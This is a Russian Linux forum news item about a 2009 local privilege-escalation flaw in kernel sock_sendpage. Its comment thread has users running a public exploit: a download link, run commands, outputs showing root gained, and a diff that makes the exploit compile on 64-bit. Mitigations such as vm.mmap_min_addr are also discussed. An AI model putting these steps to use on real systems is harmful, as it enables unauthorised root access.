LINUX.ORG.RU

Локальное повышение привилегий в ядрах Linux

 , ,


0

0

Если точнее, затрагивает все ядра 2.4 и 2.6, восходя аж к 2001 году. Связано с тем, что ряд функций ядра, наподобие sock_sendpage, не занимается проверкой полученного указателя на NULL, полагаясь на то, что соответствующие указатели будут корректно проинициализированы в обертках - таких как sock_no_sendpage. Однако в случае с sock_sendpage ошибка в макросе SOCKOPS_WRAP все же может привести к передаче в функцию нулевого указателя. Что и приводит к возможности внедрения кода, выполняющегося с правами ядра - достаточно положить его в нулевую страницу памяти. Патч уже доступен.

Замечу, что сама возможность подобного лихого обращения с нулевыми указателями в современной ОС вызывает некоторое недоумение - к примеру, в архитектуре Win32/64 подобные плюхи принципиально невозможны по причине блокировке любого доступа к адресам с 0x0 по 0xFFFF (0xFFF в случае Win'9x).

Взято с bugtraq.ru

>>> Подробности



Проверено: Dimez ()
Ответ на: комментарий от Censo

"эксплойт" этот и без vm.mmap_min_addr нихт арбайтен.

su
()
Ответ на: комментарий от piranha

> Блин, когда уж эти эксплойты писать научатся... Нихрена не работает...

Во-во... "Вирусов под сабж всего 8 штук, четыре устарели, а остальные 4 собирать задолбаешься"

Censo
()

[nnz@tvm2-1 wunderbar_emporium]$ ./exploit 2>/dev/null
[+] MAPPED ZERO PAGE!
[+] Resolved security_ops to 0xc0464860
Ошибка сегментирования

Эх...

Кстати, если без 2>/dev/null запускать - выдает веселое шоу. Это у меня одного так?

nnz ★★★★
()

А как запустить эксплойт? Надо же проверить. Я скачал ( http://grsecurity.net/~spender/wunderbar_emporium.tgz ), разархивировал, зашел в папку даю:

$ bash wunderbar_emporium.sh [+] Personality set to: PER_SVR4 Pulseaudio does not exist!

Доустановил pulseaudio, далее:

~$ bash wunderbar_emporium.sh [+] Personality set to: PER_SVR4 I: caps.c: Limited capabilities successfully to CAP_SYS_NICE. I: caps.c: Dropping root privileges. I: caps.c: Limited capabilities successfully to CAP_SYS_NICE. E: alsa-util.c: Error opening PCM device hw:0: Device or resource busy E: module.c: Failed to load module "module-alsa-sink" (argument: "device_id=0 sink_name=alsa_output.pci_8086_27d8_sound_card_0_alsa_playback_0 tsched=0"): initialization failed. UNABLE TO MAP ZERO PAGE!

Что-то не получаеться, я не спец, а чего не хватает?

Buy ★★★★★
()
Ответ на: комментарий от nnz

Круть! А мне пульс влом ставить
З.Ы. Решето!

xorik ★★★★★
()

Чтобы этот эксплоит заработал, надо сначала этот сраный pulseaudio удачно запустить похоже...

Nao ★★★★★
()
Ответ на: комментарий от nnz

Что означает это:

E: alsa-util.c: Error opening PCM device hw:0: Device or resource busy E: module.c: Failed to load module "module-alsa-sink" (argument: "device_id=0 sink_name=alsa_output.pci_8086_27d8_sound_card_0_alsa_playback_0 tsched=0"): initialization failed. UNABLE TO MAP ZERO PAGE!

Buy ★★★★★
()
Ответ на: комментарий от Buy

Как, как
./wunderbar_emporium.sh
На старой тестовой машинке

nnz ★★★★
()
Ответ на: комментарий от Klizmoid

>> http://vladimir.russkiy-uchitel.ru/?module=articles&c=news&b=1&a=31

> Ржали всем аулом )))))))))

> Кстати чуваг что-то на троллинг не ведётся....


Ты знаешь какой уже у него? Посмотри кол-во посетителей за день. И все по его душу. И представь, что хотя бы 1% ему написал. А подозреваю, что больше. В начале, по крайней мере, ему писали почти все. И поначалу он им отвечал в том же духе. Первый коммент тому пример. А потом он просто начал помалкивать )) Когда уже 125-й у него по вопросам безопасности... и как скрыться от фараонов...

vovans ★★★★★
()
Ответ на: комментарий от Buy

>E: alsa-util.c: Error opening PCM device hw:0: Device or resource busy

PCM девайс у тебя занят чем-то другим. выруби музыку или вобще иксы

Nao ★★★★★
()
Ответ на: комментарий от Nao

>Чтобы этот эксплоит заработал, надо сначала этот сраный pulseaudio удачно запустить похоже...

[nnz@tvm2 wunderbar_emporium]$ ls /usr/bin/pulseaudio
ls: невозможно получить доступ к /usr/bin/pulseaudio: Нет такого файла или каталога

Однако сплойт работает. И даже рута дает.

nnz ★★★★
()
Ответ на: комментарий от nnz

>[nnz@tvm2 wunderbar_emporium]$ ls /usr/bin/pulseaudio
>ls: невозможно получить доступ к /usr/bin/pulseaudio: Нет такого файла или каталога


>Однако сплойт работает. И даже рута дает.


А я думал без пульса никак)
Ну тогда у меня на Gentoo (2.6.29-gentoo-r5) этот эксплоит не пашет.

Nao ★★★★★
()
Ответ на: комментарий от Nao

Не удивительно. Машинка, на которой я его кастовал - уже практически экспонат музея истории Linux. Ядро 2.6.22.
Она даже vm.mmap_min_addr не знает!

nnz ★★★★
()

Все, устал, не работает ни хрена

~$ ./wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
UNABLE TO MAP ZERO PAGE!

Что ему еще нужно не понятно...

Buy ★★★★★
()

mv: cannot stat `pwnkrnel.c': No such file or directory
[: 12: unknown: unexpected operator
[: 36: 65536: unexpected operator
exploit.c: Assembler messages:
exploit.c:89: Error: Incorrect register `%rdx' used with `l' suffix
 [+] Personality set to: PER_SVR4
Pulseaudio is not suid root!
mv: cannot stat `pwnkernel2.c': No such file or directory
rm: cannot remove `pwnkernel1.c': No such file or directory


у кого-нить работает ?

phasma ★☆
()

Интересно, на стоплинуксе новость появится?

dogbert ★★★★★
()
Ответ на: комментарий от phasma

Что-то мне подсказывает, что на самом деле АФФТАР "эксплойта" жжот как тот малолетний ламер из чата.

Похоже, ситуация более ординарна:
pulseaudio должен не только присутствовать в системе, но и быть setuid root. Таким образом, "эксплойт" если и эксплуатирует "дырку" в ядре, то относительно кривоватого пульсаудио, который допускает такое обращение внутри себя.

На системах, где нет рутового пульсаудио, "эксплойт" и не работает.

vm.mmap_min_addr тут, похоже, вообще не при делах.

su
()
Ответ на: комментарий от rudchenkos

>ну, можно было бы с -wars -gays +ecology поэкспериментировать :)

>-wars


Warning: feature is VERY unstable.

>-gays


Warning: unsupported by the upstream. Use at your own risk. -wars and +brain-washing recommended.

>+ecology


Notice: man-eating plants included.

Deleted
()

у меня эксплоит не работает

$./wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
UNABLE TO MAP ZERO PAGE!
E: module-console-kit.c: GetUnixUser() call failed: org.freedesktop.DBus.Error.UnknownMethod: Method "GetUnixUser" with signature "" on interface "org.freedesktop.ConsoleKit.Session" doesn't exist
^C/tmp/xploit :$

$uname -r
2.6.30.4-lu

Sylvia ★★★★★
()
Ответ на: комментарий от angel_il

)))


я человеку давал доступ ))) ибо верил в него )))))

vovans ★★★★★
()

Мало того, что эксплоит требует пульсаудио, так ещё и не компиляется.

gcc exploit.c
exploit.c: Assembler messages:
exploit.c:89: Error: Incorrect register `%rdx' used with `l' suffix

srj ★★
()
Ответ на: комментарий от Censo

> Что, только редхат в курсе про защиту нулевой страницы?
Не знаю только ли, но в Debian Lenny пока так:

$ /sbin/sysctl vm.mmap_min_addr
vm.mmap_min_addr = 0

$ uname -r
2.6.26-2-686

---------------

А вот позавчера скомпилированное свежее стабильное ядро
(с конфигом практически по умолчанию):

$ /sbin/sysctl vm.mmap_min_addr
vm.mmap_min_addr = 4096

$ uname -r
2.6.30.4

gag ★★★★★
()

Честно пытался его запустить, подправить, но результат один:

wunderbar_emporium$ ./wunderbar_emporium.sh
 [+] Personality set to: PER_SVR4
UNABLE TO MAP ZERO PAGE!

madgnu ★★★★★
()
Ответ на: комментарий от Klizmoid

> Ржали всем аулом )))))))))
> Кстати чуваг что-то на троллинг не ведётся....



Да чувак не то чтобы... Он это... Аську теперь из-за меня меняет... и при этом извиняется, что не было его в сети... ппц... Ни одного разрыва...

[15:45:21] 391051109: тут?
[15:46:10] 391051109: имей ввиду я меняю аську
[15:46:27] 391051109: поэтому я всегда был офф

vovans ★★★★★
()
Ответ на: комментарий от xorik

\begin{fat}

Да да, о каком юзер-френдли линукс может идти речь если даже с каким то паршивым эксплоитом приходится 3 часа сношаться, и даже после этого он не работает.

Не то что в винде.

\end{fat}

ptah_alexs ★★★★★
()

> У меня не работает чего-то... :( (CentOS-5.5)

Привет из прошлого.

TALKER
()
Ответ на: комментарий от su

Похоже, ситуация более ординарна: pulseaudio должен не только присутствовать в системе, но и быть setuid root.

~$ ls -l /usr/bin/pulseaudio
-rwsr-xr-x 1 root root 70844 2009-07-14 19:33 /usr/bin/pulseaudio

suid выставлен, но не работает...

~$ bash wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
UNABLE TO MAP ZERO PAGE!

Buy ★★★★★
()
Ответ на: комментарий от Buy

>Что по человечески это означает?

я конечно не шарю ниразу, но в данном случае не удается замапить приложению участок памяти по адресу null, но это еще совсем не значит что целевой хост не уязвим :)

angel_il ★★★★
()

/tmp/wunderbar_emporium> ./wunderbar_emporium.sh
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc05e1884
[+] Resolved selinux_enabled to 0xc05e1880
[+] Resolved apparmor_enabled to 0xc04fbfe8
[+] Resolved apparmor_complain to 0xc05e33ec
[+] Resolved apparmor_audit to 0xc05e33f4
[+] Resolved apparmor_logsyscall to 0xc05e33f8
[+] Resolved security_ops to 0xc05e0054
[+] Resolved default_security_ops to 0xc04fb42c
[+] Resolved sel_read_enforce to 0xc01e5db2
[+] Resolved audit_enabled to 0xc05ce1fc
[+] got ring0!
[+] detected 2.6 style 8k stacks
MPlayer dev-SVN-r29116-4.3-openSUSE Linux 11.1 (i686)-Packman (C) 2000-2009 MPlayer TeamCan't open joystick device /dev/input/js0: No such file or directory
Can't init input joystick
mplayer: could not connect to socket
mplayer: No such file or directory
Failed to open LIRC support. You will not be able to use your remote control.

Playing /tmp/video.pBYSUX.
AVI file format detected.
[aviheader] Video stream found, -vid 0
[aviheader] Audio stream found, -aid 1
VIDEO: [XVID] 472x240 32bpp 15.000 fps 150.6 kbps (18.4 kbyte/s)

Exiting... (Quit)
[+] Disabled security of : LSM
[+] Got root!



и действительно обычный юзер получил привилегии рута.

Novell-ch ★★★★★
()

На ванильном 2.6.30.4 не работает, на двух машинах проверял, везде:

$ ./exploit
UNABLE TO MAP ZERO PAGE!

Bircoph
()

работает на x86_64

[xxxx@xxxxx wunderbar_emporium]$ ./wunderbar_emporium.sh
 [+] MAPPED ZERO PAGE!
 [+] Resolved security_ops to 0xffffffff8090e0c8
 [+] Resolved default_security_ops to 0xffffffff806ff220
 [+] Resolved audit_enabled to 0xffffffff808d4ba4
 [+] Resolved commit_creds to 0xffffffff80271eb0
 [+] Resolved prepare_kernel_cred to 0xffffffff80272060
 [+] got ring0!
 [+] detected 2.6 style 4k stacks
MPlayer 1.0-1.rc2.13mdv2008.1-4.2.3 (C) 2000-2007 MPlayer Team
CPU: Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz (Family: 6, Model: 23, Stepping: 6)
CPUflags:  MMX: 1 MMX2: 1 3DNow: 0 3DNow2: 0 SSE: 1 SSE2: 1
Compiled for x86 CPU with extensions: MMX MMX2 SSE SSE2
mplayer: could not connect to socket
mplayer: No such file or directory
Failed to open LIRC support. You will not be able to use your remote control.

Playing /tmp/video.7VXYS3.
AVI file format detected.
[aviheader] Video stream found, -vid 0
[aviheader] Audio stream found, -aid 1
VIDEO:  [XVID]  472x240  32bpp  15.000 fps  150.6 kbps (18.4 kbyte/s)

Exiting... (End of file)
 [+] Disabled security of : nothing, what an insecure machine!
 [+] Got root!
sh-3.2#

Reset ★★★★★
()

Что за система, даже вредоносные программы не работают))

Dmitry_Sokolowsky ★★★★★
()
Ответ на: комментарий от Reset

[xxxx@xxxx wunderbar_emporium]$ uname -a
Linux xxxx 2.6.29.1-server-2mnb #1 SMP Fri Apr 10 21:22:10 EDT 2009 x86_64 Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz GNU/Linux
[xxxx@xxxx wunderbar_emporium]$ gcc -v
Using built-in specs.
Target: x86_64-manbo-linux-gnu
Configured with: ../configure --prefix=/usr --libexecdir=/usr/lib --with-slibdir=/lib64 --mandir=/usr/share/man --infodir=/usr/share/info --enable-checking=release --enable-languages=c,c++,fortran,objc,obj-c++,java --build=x86_64-manbo-linux-gnu --host=x86_64-manbo-linux-gnu --with-cpu=generic --with-system-zlib --enable-threads=posix --enable-shared --enable-long-long --enable-__cxa_atexit --disable-libunwind-exceptions --enable-clocale=gnu --enable-java-awt=gtk --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-gtk-cairo --disable-libjava-multilib --enable-ssp --disable-libssp --disable-werror
Thread model: posix
gcc version 4.3.2 (GCC)

Reset ★★★★★
()
Ответ на: комментарий от Reset

Патч, с которым оно собирается на 64-битной системе:

--- exploit.c.bkp       2009-08-14 23:19:58.000000000 +0400
+++ exploit.c   2009-08-14 23:20:12.000000000 +0400
@@ -114,9 +114,9 @@
        unsigned long current;

        asm volatile (
-       " movl %%esp, %%eax;"
-       " andl %1, %%eax;"
-       " movl (%%eax), %0;"
+       " mov %%esp, %%eax;"
+       " and %1, %%eax;"
+       " mov (%%eax), %0;"
        : "=r" (current)
        : "i" (0xffffe000)
        : "%eax"

anonymous4
()
Ответ на: комментарий от anonymous4

Правда все равно не работает, говорит UNABLE TO MAP ZERO PAGE!

Правда, в моем ведре

% sysctl vm/mmap_min_addr
vm.mmap_min_addr = 4096

anonymous4
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.